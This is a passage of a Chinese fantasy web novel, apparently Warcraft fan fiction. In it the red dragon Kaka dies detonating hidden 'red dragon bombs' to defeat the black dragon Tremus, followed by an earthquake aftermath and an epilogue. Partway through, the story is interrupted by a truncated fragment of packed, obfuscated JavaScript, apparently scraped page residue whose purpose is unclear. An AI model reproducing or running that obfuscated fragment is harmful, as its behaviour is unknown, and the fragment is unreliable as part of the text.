失去了红龙光环的保护,安多洛夫躲闪不及,被溅了一身一脸的绿液。 咝—— 他全身泛起阴森的绿光,在一股刺鼻的恶臭中,他的皮肤开始冒烟。 见安多洛夫中了腐蚀酸液,特雷姆斯立刻运足全力追加攻击。 噌—— 红龙中将的胸前应声绽起血光,他结结实实地挨了黑龙的顺劈斩,伤口皮肉翻卷,深可见骨,绿龙的腐蚀酸液渗入伤口,感染了血液,安多洛夫的身上竟长出了大大小小的黄绿色毒菌。 再不展开红龙光环,他的免疫系统会被病毒彻底破坏,接着他的人类形态会迅速崩溃,最终他将变成一条瘟疫之龙——令安多洛夫心寒的是,卡卡正在抑制他的红龙之力。 卡卡真的想让他死。 不。 他决不能就这样死掉。 安多洛夫发起狠来,一举冲破了卡卡设下的封印,夜空中红光万丈,红龙光环再度开启。 卡卡口中喷出一束血箭。 他的身体再也无法承受如此强烈的力量反馈,已经到了崩溃的边缘。 安多洛夫别开脸,不去看卡卡满脸是血的惨状,发动红龙之力,向特雷姆斯丢出了一枚份量十足的红龙炸弹。 特雷姆斯满以为胜券在握,怎料那红龙中将一旦被逼入绝境反而更加危险,红光急速接近,要躲已经来不及了。 他突然看到了摇摇欲坠的卡卡,电光火石间居然计上心来,一把抓住卡卡将他拉在自己面前。 “卡卡!!——” 红光没入卡卡的胸膛,附着在他的心脏上。 特雷姆斯纵声狂笑。 “怎么了,光头中将,为什么不引爆呢?——这小子可是和我们一伙的呢。” 安多洛夫脸色铁青。 “原来你到底还是舍不得对你的兄弟痛下杀手,那么不如替这小子把炸弹解除了?你同时只能在一个目标身上种下红龙炸弹,除非引爆或解除,否则不能用第二次……”特雷姆斯享受着自己的优势,“让我来告诉你这是一种什么样的情况好了——如果你引爆炸弹,你会永远失去自己的亲弟弟;如果你解除炸弹,那么无论我受了什么伤,这小子都会替我治愈,就算你把红龙炸弹埋在我身上,也无非是挖掉心脏再来一颗的举手之劳罢了。” “来吧,安多。”卡卡说,“引爆炸弹,让我粉身碎骨吧。” “你就这么想死么,小子。”特雷姆斯恶狠狠地在卡卡耳边嘀咕。 “反正……反正你不是对我失望透顶了吗?”卡卡扯动嘴角笑了笑,“杀了我,就当你从来……从来没有过我这个弟弟,你的人生也不再有污点……这……这不是很好吗?” 特雷姆斯和伊森德雷交换了一个眼神。 咔嚓—— 黑龙扭断了卡卡的脖子。 看着自己的兄弟双眼失却焦距,头颅无力地搭在肩膀上,安多洛夫的瞳孔骤然收缩。 “不如趁现在对他精神污染?”特雷姆斯瞅了伊森德雷一眼。 “我则建议遛之大吉。” “也好。”特雷姆斯哼了一声,又冲着对面的红龙中将叫道:“喂,光头佬,你难道不想替你兄弟疗伤吗?” 黑龙刚要把卡卡推给安多洛夫,却突然感到怀里一空,低头一看,哪还有卡卡的影子? 12. 第 12 章 卡卡醒过来时,天已经亮了。 他看到了墙上的挂钟。 早上十点五十六分。 然后他看到了艾米。 她正坐在离他不远的一张椅子上,全副武装,像个海军陆战队员。 “我还以为我等不到你醒过来。” 见她一脸严肃,卡卡忍不住笑了。 他这一笑扯动了全身,顿时疼得龇牙咧嘴。 “别再逞强了,卡卡。”艾米看得直摇头,“你的身体现在简直是千疮百孔。” “我知道。”卡卡躺回床上,盯着天花板上的裂缝,“脖子断了,胸口还被埋了颗随时都可能被引爆的炸弹,每一次心跳都好像撞在刀子上的感觉……真差劲啊。” “你……你能自我治愈吗?”艾米问。 “脖子?好像已经好了。”卡卡活动着颈部,“至于炸弹?我可无能为力,这玩意只能由本人——” “我会把真相告诉他,让他替你解除红龙炸弹的。”艾米一字一句地说,“我会让他知道,如果他引爆了你体内的炸弹,他会懊悔一生。” “什么意思?”卡卡歪过头,斜着眼看她。 “卡卡,别再装傻了。”艾米走到他身边,“那些人都没死,甚至连本已死掉的人都被你救活了——你的红龙光环就像一个生命调配器,虽然绝大部分都给了那条黑龙,但你给每个人都留下了一点——只有一点点,但却足够让他们撑到获救,我把他们送去了医院,他们都会活下来。” “哦,那可真是个好消息。”卡卡心不在焉地应道,“其实你说得不完全对——那些人的生命力还有一小部分转移到了我的体内,不然你以为凭我这点能耐几个小时就能搞定一只被扭断的脖子?” “你早就为自己留好了退路吧?——你从一开始就知道他们不会信任你,只是利用你来对付安多,对不对?” “随你怎么说。” “看着我,卡卡!”艾米喝道,“你在演戏。” 她用的是肯定句。 “我不知道你在说什么。”卡卡淡淡地说,“我被种了炸弹,他们不想带着一个累赘,于是抛弃了我,现在我面临多项指控,每一项都足以让我被吊死,而我亲爱的哥哥正在外头到处转悠以便把我炸成碎片,我已经这么惨了,你还想怎样?” “安多不会引爆炸弹的。” “但他也没解除。”卡卡讥讽地说。 “卡卡,你知道吗?现在整个暴风城南区的人都在大规模撤离,甚至连北区的人都不例外。” “哦,这是为什么呢?” “因为之前安多和那条黑龙的打斗产生了强烈的冲击波,在人类看来这等同于中等规模的地震,现在再也没有人敢说我在网络上做出的大地震预言是危言耸听了!” “哦,是吗?” 卡卡懒洋洋地翻了个身,对艾米的话毫无兴趣。 “你给那条黑龙一颗新的心脏,却没有杀死一个人,你利用那条黑龙和安多的战斗发出警告,让人们深信更大的灾难即将到来——卡卡,我绞尽脑汁都没能做到的事,你却成功了。”艾米望着他消瘦的背影,“卡卡,你不是坏龙,你没有和他们同流合污,你……你也不是真的那么痛恨安多,你没有背叛我们。” “快滚吧。”卡卡恶声恶气地应着,“少给我戴高帽子,我不吃这套。” “谢谢你。”艾米由衷地道谢,“我不会让你有事的,卡卡。” “在我身上浪费一天一次的宝贵能力,这种愚蠢的行为还真符合你的风格。”卡卡冷笑一声,“黑龙是火免疫的,安多的红龙炸弹还在我身上,所以他只能靠肉搏,绿龙一进行精神污染他就要完蛋,没了时间暂停和红龙炸弹,你们凭什么跟那两条龙打?” “我可以带你去找他,把事情说清楚,让他把炸弹解除。”艾米说,“我们可以一起战斗。” “你怎么知道他在哪儿?” “暴风城南区的乌瑟尔广场,这是大地震的中央核心区,特雷姆斯一定会在那里出现——我们原本就是打算等到那个时候动手的,但没想到你会……出事——卡卡,安多说‘反正都是等’的意思并不是……” 艾米小心翼翼地问: “你要一起来吗?” “免了。” 卡卡摆了摆手。 “安多是个死脑筋,你知道,军人都这样,我跟他没什么好说的,我也不想再见到他,这件事对我而言到此为止,我已经仁至义尽了——别再来缠着我!” 艾米沉默了片刻,随即点了点头。 “我明白了,你好好休息吧,我替你买了早餐,就放在冰箱里——” “再见,艾米保姆,后会无期。” 艾米的身影渐渐变淡,最终消失在空气中。 卡卡用手臂费力地撑起身体,环视四周。 这似乎是家旅馆,房间里的绝大多数摆设都东倒西歪,墙壁和天花板上的裂缝最粗的足有两根指头那么宽。 这女人竟然把他丢在危楼中,她难道不知道还有“余震”这种东西吗? 卡卡拿起床头柜上的遥控器,打开电视机。 每个频道都在拼命报道今天凌晨时分发生的地震,所有的节目都在讨论此事。地震专家声称即使有余震强度也绝对不会更大,希望民众从容应对不要恐慌;房地产开发商信誓旦旦说他们在暴风城里盖的房子即使面对超级强震也不会出现粉碎性坍塌;警方代表称市政府不再会限制居民自行疏散,但对于趁机从中作乱的犯罪分子也绝不姑息。 一夜之间,世界就变了。 拥堵的出城高速公路上,带着妻儿出逃的男人们焦虑地望着摄像机镜头; 超市的货架被抢购一空,主妇们为了一袋卷筒纸从对骂发展到对厮; 当暴风城南区的穷人们还在抢购廉价汽油时,北区的富人们已经纷纷动用了他们的私人飞机,更有甚者骑着他们的狮鹫宠物紧急避难。 卡卡看了看表。 还有不到一个半小时。 他掂量了一下自己的体力,费力地下了床,穿上靴子。 是时候结束这一切了。 卡卡走出空无一人的旅馆。 街上车来车往,每个人都在逃亡。 现在大家都对那则预言深信不疑。 卡卡走到路中间,张开双臂。 尖锐的刹车声响彻街道,一个男人探出头来大声咆哮。 “我只是想搭你的车。”卡卡指了指车顶上的出租车标志灯。 “现在不载客!你没看到‘暂停运营’的牌子吗?”出租车司机叫道,“我得赶紧去找我老妈,她就是不肯走——现在快给我让开!” “我要去乌瑟尔广场。”卡卡说。 “难道你没听到我的话吗?!——等一下,你要去什么地方?” “乌瑟尔广场。” “嗨,你真走运,因为你现在就在乌瑟尔广场边上。” “什么?” “看到那座雕像了吗?那就是乌瑟尔广场的中心——噢!!” 司机指着远处一座持剑武士的塑像,但下一刻他脸色突变。 广场中心突然腾起一团火光,随后卡卡听到一阵巨响。 巨大的乌瑟尔像慢慢地倾斜,同时开始坍塌。 “见……见鬼!!——”司机手慌脚乱,“喂,很快就要大地震了,不想死的话就赶快逃吧!……我……我可得先走了!” 说着倒开车子,绕过卡卡一遛烟没了踪影。 …… 乌瑟尔广场是为了纪念光明使者乌瑟尔而建,十几个世纪来一直不断翻修,直到暴风城南区不再受政府控制。 而现在它已成为了龙族的最终战场。 绿龙甚至无需潜入安多洛夫的意识就能看出他并未解除卡卡身上的红龙炸弹,这对于黑龙特雷姆斯来说当然是个好消息。 “为什么不解除呢?”当特雷姆斯与安多洛夫酣战时,伊森德雷则依旧悠闲地在一旁观战,“啊,你担心卡卡再次从背后向你捅刀子,所以你得留着那颗红龙炸弹,好有备无患,对吧?” “住口!伊森德雷!”艾米向他发动攻击,却被闪身躲过。 “你的力量太弱了,青铜龙小姐,而且你的暂停时间的能力还在漫长的冷却期中,对我可是一点威胁也没有。”伊森德雷笑容可掬,“我已经警告过你不要再插手此事,而你却始终置若罔闻,看来不给你一点苦头尝尝你是不会退缩的了。” “无论你说什么都没有用。”艾米叫道,“你以为你真的让卡卡憎恨他的哥哥了吗?你的精神污染不是万能的!像你这种以摆弄别人情感为乐的家伙……” “那么你为何要瞒着中将,把卡卡藏到他找不到的地方呢?” “我——” “因为你也担心中将痛下杀手,大义灭亲,对吧?” “……” “你好像有些私心?” “不……” 你该不是……爱上那条红龙了吧? “不,不是这样的……” 真遗憾哪,艾米。 绿龙低柔而富有磁性的声线在她耳边萦绕,艾米竟不由自主地一点一点地陷了进去。 现在,让我来看看你心里的秘密吧。 “艾米!” 炸雷似的吼声震得她猛地醒了过来,一只沾满尘土和血污的粗厚巨掌搭在她的肩头上,把她从梦魇的深渊中一把揪了起来。 艾米出了一身冷汗,不知不觉中她差点中了绿龙的招。 “你还好吗?”安多洛夫盯着她。 他受了伤,眉角淌着血,为了不浪费能量,他没有替自己疗伤。 “安多,我……” “我不怪你。”安多洛夫低声说,“当时如果你不带走卡卡,也许我真的会引爆炸弹。” “你现在还有机会的,安多。” 卡卡一手按着胸口,气喘吁吁地站在废墟中。 他的脸色苍白,瞳孔中的血红色却鲜艳得惊人。 “呀,这不是卡卡洛夫·雷奥先生吗?” “小子你居然还没死啊。” “卡卡,快离开这里!” “卡卡,让我解除你身上的红龙炸弹。” 他摇了摇头,后退一步,制止了安多想要上前来的举动。 “不必了,安多,这样就好。” 安多洛夫突然有了一种不详的预感。 “艾米已经无法再暂停时间,就算你解掉了我身上的炸弹,也不能确保能准确无误地埋到特雷姆斯身上。” 卡卡笑了。 “这件事,就由我来了结吧。” 安多洛夫心头一颤。 他知道卡卡这个笑容意味着什么。 “卡卡……你……你别做傻事!!” “没关系,安多,这就是我一直想要的。” 卡卡说着,仰望空中。 黑龙特雷姆斯正带着一身火光悬浮在他们头顶。 “来吧,光头中将,我们非得分个胜负不可,要是你这么放不下你的兄弟,那就死了以后去诺森德与他团聚吧!” 卡卡笑道: “你都快要死了,还口出狂言?” “你说什么?”黑龙一愣。 “我说,你难道没发觉自己就快要死了吗?” 特雷姆斯大笑。 “没了红龙炸弹和暂停时间,你们能拿我怎样?” “哦,你错了,特雷姆斯,红龙炸弹是有的。”卡卡双手插在裤兜里,又变回艾米最熟悉的那副痞子模样,“那玩意儿一直都有,就在你身上。” 这不可能,艾米心想。 这怎么可能?安多洛夫能清楚地感应到自己的红龙炸弹正挂在他弟弟的心脏上。 “他在虚张声势,特雷姆斯。”绿龙说,“要是你身上有红龙炸弹,在之前的打斗中你无数次激发黑龙之力,早就自动引爆了——” 卡卡打断了他的话: “有两件事我想你们应该弄清楚:” “首先,很多红龙都会红龙炸弹;” “其次,我是一条红龙。” “所以……” “我们诺森德见,特雷姆斯·哈扎德先生。” 卡卡全身迸射出夺目的红光,安多洛夫感到卡卡的红龙之力被推至顶点,那一瞬间的爆发峰值,甚至不亚于红龙教父。 这大概就是所谓的回光返照吧,安多? 恍惚之间,安多洛夫感到卡卡轻轻地拍了拍他的肩。 后会有期,哥哥。 “不!!——” 当特雷姆斯惨吼着从空中跌落,全身大动脉破裂,鲜血溅起数十尺时,卡卡的胸口也喷出了浓浓血烟。 安多洛夫不顾一起地朝他的兄弟奔去。 然而已经太迟了。 卡卡触发了他埋在黑龙身上的红龙炸弹,却也引爆了自己体内那枚属于安多洛夫的炸弹。 特雷姆斯完了,卡卡也完了。 “我必须这样做……我的红龙之力太弱了,只有引爆你的炸弹,才能在死前的那一刻……发挥……全部的……”卡卡浑身是血,在倒下去之前,他眼中闪过了最后一丝红光。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在超高温的红龙吐息下,伊森德雷瞬间被烧成了灰。 安多洛夫放下手,任风吹去手中的余烬,沾染了伊森德雷骨灰的地上长出大片大片的噩梦藤。 “大地的震撼者”、“冰与雪的魔术师”以及“梦境的暴君”都死了,他们再也不能给这个世界带来威胁,等待他们的是灵魂的拷问。 结束了。 但安多洛夫的脸色却阴沉得吓人。 他的红龙之力正处于前所未有的旺盛状态,现在的他力量比以往任何时候都要强大。 可他明白这意味着什么。 他的亲弟弟就快要死了。 …… 艾米在废墟中找到了卡卡。 他被压在一块数吨重的石板下,微微起伏的胸膛显示着他还剩了一口气。 “卡卡!卡卡!……”她拼命扒着石块,喊着他的名字。 最终她攥住了卡卡的手。 “卡卡,求求你,别死。” “嗨……我还没死呢。”卡卡睁开眼,冲着她笑了笑。 他的胸口被开了个大洞,鲜血大股大股地涌出,渗入瓦砾。 艾米慌忙用手去堵他的伤口,但毫无用处,她急得直哭。 “你待着别动,别说话,也别动!……我去找安多,我让他来给你治伤,你不会有事的,卡卡……你不会有事的……那么多次你都挺过来了……那么多年你都……”她虽然这么说,可眼泪却更是汹涌而出。 “这次我大概是真的不行了。”卡卡轻轻地反握着她的手,“我也求你一次……别去找安多,我不想让他看到……看到我死掉的样子……你……你在这里陪陪我就好……就一会……我很快就……” 艾米哭着钻到石板下,和他靠在一块。 他的身体冷得像冰。 “对不起……对不起……” 她一遍又一遍地重复着。 都是她不好。 如果她还能暂停时间,如果她能力再强一些…… 她对卡卡的事一无所知,却自以为是地对他提各种要求。 她把死亡带给了他,是她把卡卡一步一步推向了悬崖。 这全是她的错。 “你都成了英雄,怎么还这么天真?……”看着她脸上的表情,卡卡轻轻地叹了口气,“对于青铜龙来说,根本就没有‘如果’哦。” 她哪里算得上什么英雄。 他才是救了成千上万条性命的那一个。 “有一件事你好像说对了。” “什么?”她抬起头。 “你说我会被压断腿,像张破地毯一样……” 她哭得更厉害了。 “……躺在废墟的瓦砾下面把血流干,然后……悲惨地死掉。”卡卡笑道,“嘿,别哭别哭,亲爱的……我不是要怪你,我只是……只是想说……这也许从一开始就是注定的……这场大地震终归是要发生的……而我也终归会死的。” “你救了那么多人……而我……而我却什么也没有做……一定还有很多人没有撤离,他们……” “他们会没事的。”卡卡轻轻地吻了一下她的额头,“他们会活下来,我保证你回泰坦尼亚后能成为正式探员的……你做得很好,真的,相信我。” “可是你……” “这是我最好的结局了。” 卡卡的身体开始发光。 那柔和温暖的红光仿佛是这个世界上最美好的存在,艾米又听到了歌声。 卡卡身上的光芒越来越亮,她不得不用手遮住眼睛。 再见,小母龙。 光环急速扩散,转瞬间消逝在地平线。 在最后的红龙光环中,卡卡的身躯变成了成千上万只鲜红色的蝴蝶。 艾米站起身,目送着那些美丽的小精灵渐渐远去。 地上长出了各种植物,在一片绝望的瓦砾中,这里成了一座小绿洲。 脸上泛起凉意。 下雨了。 那个家伙…… 到了最后还要摆酷。 那么轻描淡写,就好象不过是去酒吧寻欢作乐,很快就会回来似的…… 艾米站在雨中的废墟里,失声痛哭。 卡卡,你这个混蛋。 13. 尾声 ……暴风城南部地区特大地震是近百年来东部大陆所遭遇的最严重的自然灾害,北至奎尔萨拉斯,南至藏宝海湾都有明显震感,主要震区面积达两百七十余万平方公里,暴风城邻近的闪金镇、夜色镇、月溪镇和湖畔镇几乎被夷为平地…… ……来自雷霆崖、幽暗城、奥格瑞玛和银月城的新一批救灾物资今天上午抵达了暴风城的洛萨国际机场,这批救灾物资主要包括食品、帐篷和医疗设备…… ……距离暴风城南部地区发生罕见的特大地震已过了十天,救援工作仍在紧张进行中,虽然“黄金七十二小时”已经过去很久,但生命的奇迹却接踵而至——在暴风城附近的闪金镇,一位被埋了长达一百八十六小时、名叫杜汉的男子被搜救队员成功救出,让人感到不可思议的是,该名男子的生理状况良好,仅有轻微脱水症状,多年来从事紧急搜集的专业人士惊呼这是生命的奇迹…… ……最令人惊讶的是,在整个搜救过程中,类似闪金镇治安官杜汉的奇迹绝非个别现象,根据统计在受灾最严重的暴风城南区,也就是地震发生的中心区域,有至少两千余人在被埋超过一百五十小时后获救,而且他们当中大部分都安然无恙,这是不幸中的大幸?还是对生命的渴望与热情?我们也许无法理解到底是什么令他们能够支撑这么长时间,但请让我们为尚未获救的人祈祷,并让我们坚信同样的生命奇迹会降临在他们身上——以上是铁炉堡新闻七频道的特别报道。 告示牌上贴满了雪花般的寻人信息,暴风城的数百条热线每分钟都要接到来自艾泽拉斯各地的电话,每天都有成千上万的人在寻找他们的亲友。 “我叫沃尔克·断角,我和我的儿子查克·断角在撤离的时候失散了,他在月溪镇萨丁小学就读三年级,任何人如果有任何关于牛头人的消息请立即和他焦急万分的父亲联系!……” “有没有人见过这个德莱尼女孩?她叫迪兰妮亚,她是我妹妹……” “我在找我的丈夫,他叫洛德·刃拳,是个兽人,他是艾泽拉斯电信集团驻湖畔镇的工程师……” …… 预言准确无误,那场灾难真的发生了。 但是由于之前居民已经大规模撤离,暴风城和周围的四个卫星镇基本上已经成了空城,位于地震中心地带的民众数量不超过十万;而在地震发生的时候,绝大部分人都呆在室外或在自己的车里,所以被震跨的建筑物埋压的人不超过一万。 再加上那“不明原因”的“生命奇迹”,使得获救率甚至超过90%。 “奇迹”和“预言”成了近来最热门的话题,媒体不惜篇幅进行追踪报道,而网络上则一再发起人肉搜索,想要找到神秘那个“预言者”。 当然他们都没有成功,或许有不少人都自称是那个“预言者”,但这已经不是艾米所关心的事了。 她用假身份住进了北区的一家酒店,和其他人一样成天关注着一切相关报道,她留下了返回泰坦尼亚前的必须费用,把那个账号上剩余的钱全部匿名捐给了慈善机构,如果不是因为她是条龙,她会毫不犹豫地去献血。 很多时候,当你身边所有的人都在做一件好事时,即使你再怎么不以为然,也会受到感染,最后情不自禁地加入到他们的行列中。 她不是没想过去南区或是周遭几个城镇做志愿者,但最后她还是打消了这个念头。 她不想抛头露面,何况她也不是受过训练的专业人员,事实上她对凡人的诸多方面都不甚了解,去了大概也只会添乱。 但艾米发现她并不孤单。 电视上报道过一支达纳苏斯派遣来的医疗队,她一眼就看出其中一个暗夜精灵是条绿龙。 在那些关于活跃在救援现场的搜救人员的报道中,她不止一次看到红龙医生和黑龙消防员的身影。 另外她还知道入夏的暴风城一向多雷雨甚至还会有台风,但因为蓝龙的暗中干预,在地震发生后的两个星期全是难得的晴天,气温适中,湿度偏低,大大降低了搜救难度,对灾后疫病控制亦非常有利,难怪所有的媒体都说“连老天都帮助暴风城”。 她做到了,她真的成功了。 她带来了那个预言,最终虽然没能阻止地震发生,但伤亡已被降至最低。 可她还是觉得伤心。 因为那个男人。 因为那条红龙。 如果没有他,她根本不可能做到这些。 一群专家学者在节目上博客上论坛上激辩“奇迹的真相”却毫无头绪,但她知道这是卡卡做的,他在死前发动的最后一次光环中释放了他全部的红龙精华,这个超大范围的红光光环庇护了所有被埋在废墟里的生命,否则遇难者人数绝对要比现在政府公布的数字大上一百倍,一千倍。 后来艾米才知道,红龙炸弹其实有两种版本——一种是显性版,即目标能够感应到红龙炸弹的存在,具体表现为当情绪激动、从事剧烈运动、或者激发体内某些能量时会,心脏会出现各种问题,比如心绞痛,心肌梗塞,或者直接停止跳动甚至爆裂;而另一种则是隐性版,即除非施放者主动引爆,则目标完全不会感到任何异样。 会使用这个技能的绝大多数红龙都只会显性炸弹,只有极少数技巧超群并且天赋极高的红龙才有可能掌握隐性炸弹。 安多洛夫的红龙炸弹威力惊人,但仍属显性。 卡卡替特雷姆斯治伤时,神不知鬼不觉地在那颗新心脏中埋下了隐性炸弹。 当安多洛夫把这件事告诉艾米的时候,两人都沉默了很久。 这只能说明一件事。 那就是卡卡操控红龙精华的天赋,其实尤在安多洛夫之上。 如果他是“被选中的那一个”,那么他极有可能做得比他的哥哥更好。 这是命运的玩笑吗? …… 两个月后,暴风城花园公墓。 细雨绵绵,整齐修剪的绿草坪上,一块块墓碑静静地矗立着。 凭吊亲友的访客只有一个。 在一个僻静的角落,站着一个身材高大的男人。 他穿着黑色风衣,戴着黑色皮手套,脚上那对尺码惊人的黑色半高皮靴至少有五公斤重,看起来格外威武雄伟,宛若一座黑色铁塔。 他凝视着面前的墓碑。 雨轻轻地落在他的肩上。 黑耀石制成的墓碑很小,没有任何装饰,也没有堆满鲜花,看起来毫不起眼。 墓碑上的铭文亦非常简洁,没有注明生卒年份,没有照片,也没有个人生平。 甚至连家族姓氏都没有。 卡卡,我挚爱的兄弟,长眠于此。 安多洛夫从大衣兜里取出一只绘着淡金色花纹的黑绒盒子,慢慢打开。 这是红龙女王亲自颁发给他的皇家荣誉勋章,以表彰他在暴风城执行任务过程中的出色表现。虽然有个别人提出异议,认为安多洛夫并没有按照原定计划将黑龙特雷姆斯押送至暴风城监狱永久囚禁,而是“自作主张”将其击毙,违反了黑龙公爵和红龙女王事前达成的协议,但红龙议会仍旧全体表决通过,同意授予前红龙中将安多洛夫·雷奥这枚代表红龙一族最高荣誉的勋章。 在暴风城发生的大地震是由黑龙特雷姆斯引起,而安多洛夫中将阻止了他 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“墓是空的,只是一块碑而已。”安多洛夫解释道,“我没有告诉父亲卡卡的事,他们只当我立了功得了奖章罢了。” “我听说了,雷奥家族奢华的庆功会,龙族的名流显贵全部到场,星光熠熠。”艾米说,“斯塔兹家族的风头完全被压了下去,一定有不少人觉得扬眉吐气——对不起。” 安多洛夫摆了摆手。 “你说得没错,他们就喜欢这样。” “也许以后你会让这种情况有所改变?”艾米望着他。 “我想我会的。”他说。 两人相视无语,片刻之后安多洛夫打破沉默: “我得走了——需要我送你一程吗?” “不,不必了。”艾米说,“但我想问你一件事。” “说。” “我去了诺森德,我想确认他是否得到了安息。”艾米说,“但是我却没有找到他。” “每一条龙死后灵魂都会回到诺森德,卡卡当然也不例外。”安多洛夫转身朝公墓出口走去,“也许他并不想见到你,又或者他的灵魂已经安息超度了。” “我查了诺森德的机密档案,从来就没有一条叫做卡卡洛夫·雷奥的红龙的灵魂去过那里,无论是数千年前,还是两个月前。”艾米的声音从他背后传来,令他勒住脚步。 “作为世界安全局的探员,我有一些‘非常规’的渠道。”艾米的神色平静,但她的声音却有些发颤,“卡卡死了,我亲眼看到他的身体化为无数红蝶最终烟消云散,但诺森德的亡者之书上却没有他的名字,这让我产生了一个疑问——他的灵魂究竟去了哪里?” “你到底想说什么?” “这段时间我一直试图找到答案,安多。” 艾米几乎翻遍了所有的龙族典籍,信息量是如此的巨大,以至于连拥有无限时间的她都感到力不从心,但是一个疯狂的念头驱使她一直坚持着,她无数次试图把这个天真的想法抛之脑后,却令它愈发壮大。 最终她在蓝龙王玛里苟斯藏书馆里的一本古籍中发现了端倪。 “红龙双生子源自同一个灵魂,死亡降临之际将合二为一。”艾米问,“这是什么意思?” “只是传说罢了。”安多洛夫淡淡地说,重新迈开脚步。 “卡卡的灵魂没有去诺森德,他一直和你在一起,安多。” 艾米用的是肯定句。 红龙中将叹了口气。 “你爱怎么想就怎么想吧,小母龙。” 那一刻,艾米望着那个男人的背影,泪流满面。